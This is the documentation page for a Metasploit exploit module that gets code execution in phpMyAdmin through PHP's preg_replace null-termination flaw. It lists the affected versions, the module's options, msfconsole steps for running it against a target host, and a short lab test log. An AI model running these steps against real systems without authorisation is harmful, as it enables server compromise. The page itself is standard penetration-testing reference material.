## Description

This module exploits a vulnerability in a PHP's `preg_replace()` function
that is used by phpMyAdmin's replace table feature.


## Vulnerable Application

PHP versions before 5.4.6 allow null termination of the `preg_replace` string parameter.

phpMyAdmin versions 4.6.x (prior to 4.6.3), 4.4.x versions (prior to 4.4.15.7),
and 4.0.x versions (prior to 4.0.10.16) are affected.


## Options

### DATABASE
This option specifies the database the module will use
when creating a new table as part of the exploit.


## Verification Steps

- [ ] Install vulnerable phpMyAdmin application
- [ ] Create database through phpMyAdmin application
- [ ] `./msfconsole`
- [ ] `use exploit/multi/http/phpmyadmin_null_termination_exec`
- [ ] `set USERNAME <username>`
- [ ] `set PASSWORD <password>`
- [ ] `set DATABASE <database>`
- [ ] `set rhost <rhost>`
- [ ] `run`


## Scenarios

### Tested on Windows 7 x64 running phpMyAdmin 4.3.0 on PHP 5.3.8

rhost => 172.22.222.122
msf exploit(multi/http/phpmyadmin_null_termination_exec) > set database <database>
database => <database>
msf exploit(multi/http/phpmyadmin_null_termination_exec) > run
